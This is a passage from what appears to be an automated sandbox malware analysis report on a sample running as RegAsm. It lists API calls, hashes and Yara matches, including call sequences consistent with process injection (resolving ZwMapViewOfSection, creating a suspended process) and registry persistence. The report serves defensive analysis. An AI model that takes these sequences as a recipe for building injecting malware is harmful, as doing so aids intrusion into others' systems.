                      • VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                      • VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                      • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ProtectVirtual$HandleModule
                      • String ID:
                      • API String ID: 3519776433-0
                      • Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                      • Instruction ID: 9138b94afbcae90e12a8614b592989542e7cb6e8cba5f1d72008c399686a5f74
                      • Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                      • Instruction Fuzzy Hash: B7F0C2619497893CFA21C7B40C45EBA5FCCCB276E0B249A56F600C718BDCA5890693FE
                      Function 004135A6 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                      • RegQueryValueExA.KERNEL32 ref: 004135E7
                      • RegCloseKey.KERNEL32(?), ref: 004135F2
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseOpenQueryValue
                      • String ID:
                      • API String ID: 3677997916-0
                      • Opcode ID: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                      • Instruction ID: 357f89d7cd1c8cc036c5e31f86fe90e90b696c4569df010e686479b524d11f87
                      • Opcode Fuzzy Hash: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                      • Instruction Fuzzy Hash: 5A01D676900228BBCF209B91DC09DEF7FBDDB84751F000066BB09E2240DA748E45DBA4
                      Function 004136F8 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                      • RegQueryValueExA.KERNEL32 ref: 0041372D
                      • RegCloseKey.KERNEL32(00000000), ref: 00413738
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseOpenQueryValue
                      • String ID:
                      • API String ID: 3677997916-0
                      • Opcode ID: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                      • Instruction ID: 3f277cad741e4f631881634228dfc272d65c1146f3ef4f3c344e6cfa7cb73972
                      • Opcode Fuzzy Hash: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                      • Instruction Fuzzy Hash: 1C018BB1400229FBDF216FA1DC04DEB3F38EF05751F004065BE08621A1D6358AA5DBA4
                      Function 00413549 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                      • RegQueryValueExA.KERNEL32 ref: 00413587
                      • RegCloseKey.KERNEL32(?), ref: 00413592
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseOpenQueryValue
                      • String ID:
                      • API String ID: 3677997916-0
                      • Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                      • Instruction ID: df0ca7b2621da3f23a966dc0a7f3323316399916f3769291e5945d4ebcba47cd
                      • Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                      • Instruction Fuzzy Hash: E8F01776900218FFDF109FA0DC05FEEBBBCEB04B11F1040A6BA09E6191E2359F54AB94
                      Function 004134FF Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413516
                      • RegQueryValueExA.KERNEL32 ref: 0041352A
                      • RegCloseKey.KERNEL32(?), ref: 00413535
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseOpenQueryValue
                      • String ID:
                      • API String ID: 3677997916-0
                      • Opcode ID: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                      • Instruction ID: ffaae2385a847085e6fb085aa4760e2a706d619ab1068a3de776aab9102a8dd7
                      • Opcode Fuzzy Hash: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                      • Instruction Fuzzy Hash: 46E06D32801238FB9F204FA2DC0DDEB7F6CEF06FA2B000155BD0DA2112E2258E50E6E4
                      Function 00413877 Relevance: 4.5, APIs: 3, Instructions: 30registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                      • RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                      • RegCloseKey.ADVAPI32(004660A4), ref: 004138AB
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateValue
                      • String ID:
                      • API String ID: 1818849710-0
                      • Opcode ID: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                      • Instruction ID: 04a42b38e2882b978ed87177a7d0f50f8458418d63be9de7f69fe35b215911ab
                      • Opcode Fuzzy Hash: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                      • Instruction Fuzzy Hash: 16E06572500318FBEF115F90DC05FEA7B6CDF04B52F1045A5BF09A6191D3358E549798
                      Function 00418568 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 18COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004180EF: GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                        • Part of subcall function 004180EF: GetProcAddress.KERNEL32(00000000), ref: 00418139
                        • Part of subcall function 004180EF: GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                        • Part of subcall function 004180EF: GetProcAddress.KERNEL32(00000000), ref: 0041814D
                        • Part of subcall function 004180EF: GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                        • Part of subcall function 004180EF: GetProcAddress.KERNEL32(00000000), ref: 00418161
                        • Part of subcall function 004180EF: GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                        • Part of subcall function 004180EF: GetProcAddress.KERNEL32(00000000), ref: 00418175
                        • Part of subcall function 004180EF: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                        • Part of subcall function 004180EF: VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                      • CloseHandle.KERNEL32(004040F5), ref: 0041857E
                      • CloseHandle.KERNEL32(t^F), ref: 00418587
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Handle$AddressModuleProc$Close$AllocCreateProcessVirtual
                      • String ID: t^F
                      • API String ID: 2948481953-389975521
                      • Opcode ID: 247fee8f8bf52748d850bc295b8f4d78ccc0daa5e201679a7bea01e83cf232d2
                      • Instruction ID: f5f9b7b4b8a2ed15acd0e1e17f357bf619fd4f1f7ce3194d250e30b15390ff54
                      • Opcode Fuzzy Hash: 247fee8f8bf52748d850bc295b8f4d78ccc0daa5e201679a7bea01e83cf232d2
                      • Instruction Fuzzy Hash: E7D05E75C4120CFFCB006BA4EC0A8AEBB7CFB09201B4001AAFC2442253AB329818CA64
                      Function 10006ACB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                      Download Yara Rule
                      APIs
                      • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 10006AF0
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Info
                      • String ID:
                      • API String ID: 1807457897-3916222277
                      • Opcode ID: 6cedc9456a51a48c8b79c853d380540c5183232597a17884e183f7c8afc1900e
                      • Instruction ID: 7792c4a5177154c3e9ca344f7bd1be717728489360a1cc3eced530dab922c6d1
                      • Opcode Fuzzy Hash: 6cedc9456a51a48c8b79c853d380540c5183232597a17884e183f7c8afc1900e
                      • Instruction Fuzzy Hash: D241FCB050429C9AFB21CF148C84BEABBEAEB49344F2444EDE5C9C6146D735AA85DF20
                      Function 0044EDC4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                      Download Yara Rule
                      APIs
                      • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0044EDE9
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Info
                      • String ID:
                      • API String ID: 1807457897-3916222277
                      • Opcode ID: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                      • Instruction ID: 44bbd8f54034b75cb3f6f6e84f1b5a7d7ac270184ed4e74474e217fcd589b3ab
                      • Opcode Fuzzy Hash: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                      • Instruction Fuzzy Hash: 74411E705043489AEF218F65CC84AF7BBB9FF45308F2408EEE59A87142D2399E45DF65
                      Function 00409DE4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _wcslen
                      • String ID: pQG
                      • API String ID: 176396367-3769108836
                      • Opcode ID: e8998cf28dcd9718db14c62255f57e315091e6a51e3e070f68c79c0d4cc3fbb9
                      • Instruction ID: e6961f6084f98a1e57a9a6385a58e5d20214d93246a99e64d0d6a4ea431d93e1
                      • Opcode Fuzzy Hash: e8998cf28dcd9718db14c62255f57e315091e6a51e3e070f68c79c0d4cc3fbb9
                      • Instruction Fuzzy Hash: 8111C3319002059BCB15EF65E8529EF7BB5EF54318B10013FF406A62E2EFB8AD05CB98
                      Function 10005F19 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON
                      Download Yara Rule
                      APIs
                      • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,5EFC4D8B,00000100,?,5EFC4D8B,00000000), ref: 10005F8A
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: String
                      • String ID: LCMapStringEx
                      • API String ID: 2568140703-3893581201
                      • Opcode ID: 9311d150e09a2ea236c127db5a9a9399c35e1f3cdcd5bb094b510bbe54d2b48d
                      • Instruction ID: 984c2aabb43d86beb2eff1d34daabde68608d0bd8f0a2971fe4c3ea005c0c61c
                      • Opcode Fuzzy Hash: 9311d150e09a2ea236c127db5a9a9399c35e1f3cdcd5bb094b510bbe54d2b48d
                      • Instruction Fuzzy Hash: 9401D332500159BBEF129F90CC05EEE7F66EF08390F018115FE1826124CB369971AB95
                      Function 00448BB3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 00448C24
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: String
                      • String ID: LCMapStringEx
                      • API String ID: 2568140703-3893581201
                      • Opcode ID: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                      • Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
                      • Opcode Fuzzy Hash: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                      • Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99
                      Function 00448A84 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0044BF4F,-00000020,00000FA0,00000000,00467378,00467378), ref: 00448ACF
                      Strings
                      • InitializeCriticalSectionEx, xrefs: 00448A9F
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CountCriticalInitializeSectionSpin
                      • String ID: InitializeCriticalSectionEx
                      • API String ID: 2593887523-3084827643
                      • Opcode ID: 682e35b38dfd5190380aa89288d85395b8b8c573abd287f9b51c67f13ec4e10f
                      • Instruction ID: 658be74961f29c719de8c28810f5b4ff6aac6a213607643c1e3aaf487ccb6ecc
                      • Opcode Fuzzy Hash: 682e35b38dfd5190380aa89288d85395b8b8c573abd287f9b51c67f13ec4e10f
                      • Instruction Fuzzy Hash: 12F0E235640208FBCF019F51DC06EAE7F61EF48722F10816AFC096A261DE799D25ABDD
                      Function 10005D5C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Alloc
                      • String ID: FlsAlloc
                      • API String ID: 2773662609-671089009
                      • Opcode ID: 5ade6ed448300679f83b5d20ac83fd3ad7347746afaf7e54a560ff76d56e46a0
                      • Instruction ID: c304bc83fd0672a576945d725d7c66755e55876121cef6cfa1c70df20931aaa1
                      • Opcode Fuzzy Hash: 5ade6ed448300679f83b5d20ac83fd3ad7347746afaf7e54a560ff76d56e46a0
                      • Instruction Fuzzy Hash: 43E0E535600228ABF325EB608C15EEFBBA4DB583D1B01405AFE0966209CE326D0185D6
                      Function 00448710 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Alloc
                      • String ID: FlsAlloc
                      • API String ID: 2773662609-671089009
                      • Opcode ID: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                      • Instruction ID: c1fb2f6f3e96c04a711f36652bc0978b46922b6b0bac1ff16f6cb7e5114ce70e
                      • Opcode Fuzzy Hash: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                      • Instruction Fuzzy Hash: 98E02B30640218E7D700AF65DC16A6EBB94CF48B12B20057FFD0557391DE786D0595DE
                      Function 10003AF1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                      Download Yara Rule
                      APIs
                      • try_get_function.LIBVCRUNTIME ref: 10003B06
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: try_get_function
                      • String ID: FlsAlloc
                      • API String ID: 2742660187-671089009
                      • Opcode ID: e5392f9aa55551a50589cb99c6148b67437594651e03cd2756b54b563a9e1daf
                      • Instruction ID: 0b7c7f44018c04906f4f2ef9afae3f4f684564eee465a9a4c05fe82f6616737e
                      • Opcode Fuzzy Hash: e5392f9aa55551a50589cb99c6148b67437594651e03cd2756b54b563a9e1daf
                      • Instruction Fuzzy Hash: 13D02B32744138B3F201B3A06C04BEEBB88D7025F2F040063FB4C5210CDB11591042E6
                      Function 00438D94 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                      Download Yara Rule
                      APIs
                      • try_get_function.LIBVCRUNTIME ref: 00438DA9
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: try_get_function
                      • String ID: FlsAlloc
                      • API String ID: 2742660187-671089009
                      • Opcode ID: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                      • Instruction ID: 997240ade825b32cd49e327dc5ad0f79abc42783939d358afc793268dfa947f7
                      • Opcode Fuzzy Hash: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                      • Instruction Fuzzy Hash: 1FD05B31B8172866861036D56C02B99F654CB45BF7F14106BFF0875293999D581451DE
                      Function 0041B7B6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                      Download Yara Rule
                      APIs
                      • GlobalMemoryStatusEx.KERNEL32(?), ref: 0041B7CA
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: GlobalMemoryStatus
                      • String ID: @
                      • API String ID: 1890195054-2766056989
                      • Opcode ID: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                      • Instruction ID: 2d2b64c70bc766df394076410504e3f9c8f669937c614d63c6700d8895b1c70c
                      • Opcode Fuzzy Hash: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                      • Instruction Fuzzy Hash: E6D017B58023189FC720DFA8E804A8DBBFCFB08210F00456AEC49E3700E770E8008B94
                      Function 10006E20 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 100069F3: GetOEMCP.KERNEL32(00000000,?,?,10006C7C,?), ref: 10006A1E
                      • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,10006CC1,?,00000000), ref: 10006E94
                      • GetCPInfo.KERNEL32(00000000,10006CC1,?,?,?,10006CC1,?,00000000), ref: 10006EA7
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: CodeInfoPageValid
                      • String ID:
                      • API String ID: 546120528-0
                      • Opcode ID: 4adf61bb8ef5ba689b58ef35b1aaecca0a92cbb4d0ae1edbfb61d6a665a170f3
                      • Instruction ID: 1dd91d3823b6bb4934ca9945ee4913e93bf289da146d72ec34fd0236562290e4
                      • Opcode Fuzzy Hash: 4adf61bb8ef5ba689b58ef35b1aaecca0a92cbb4d0ae1edbfb61d6a665a170f3
                      • Instruction Fuzzy Hash: 91513474E043469EFB21CF71DC916BBBBE6EF49280F20807EE48687156D735DA458B90
                      Function 0044F119 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                      • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044EFBA,?,00000000), ref: 0044F18D
                      • GetCPInfo.KERNEL32(00000000,0044EFBA,?,?,?,0044EFBA,?,00000000), ref: 0044F1A0
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CodeInfoPageValid
                      • String ID:
                      • API String ID: 546120528-0
                      • Opcode ID: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                      • Instruction ID: 3b7bf12515eb554c774b4e527f81d40cffab4a6430697902d987c8214247c1f3
                      • Opcode Fuzzy Hash: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                      • Instruction Fuzzy Hash: BB5116749002469EFB24CF76C8816BBBBE5FF41304F1444BFD08687251D6BE994ACB99
                      Function 10006C5F Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 10005AF6: GetLastError.KERNEL32(?,?,10006C6C), ref: 10005AFA
                        • Part of subcall function 10005AF6: _free.LIBCMT ref: 10005B2D
                        • Part of subcall function 10005AF6: SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B6E
                        • Part of subcall function 10005AF6: _abort.LIBCMT ref: 10005B74
                        • Part of subcall function 10006D7E: _abort.LIBCMT ref: 10006DB0
                        • Part of subcall function 10006D7E: _free.LIBCMT ref: 10006DE4
                        • Part of subcall function 100069F3: GetOEMCP.KERNEL32(00000000,?,?,10006C7C,?), ref: 10006A1E
                      • _free.LIBCMT ref: 10006CD7
                      • _free.LIBCMT ref: 10006D0D
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorLast_abort
                      • String ID:
                      • API String ID: 2991157371-0
                      • Opcode ID: edadbe4ca17b1bb3a790d59a6ed19414cc5eb62636eebdfc00c28812a33e9cae
                      • Instruction ID: 62e76a57c0cb8018fa5258269fd2d3c97d0f5aa08c1c35bbbea2ca126a332e06
                      • Opcode Fuzzy Hash: edadbe4ca17b1bb3a790d59a6ed19414cc5eb62636eebdfc00c28812a33e9cae
                      • Instruction Fuzzy Hash: AB31D835904249AFF700CB69DD81B5D77F6EF493A0F3141A9E8049B295EB76AD40CB50
                      Function 0044EF58 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
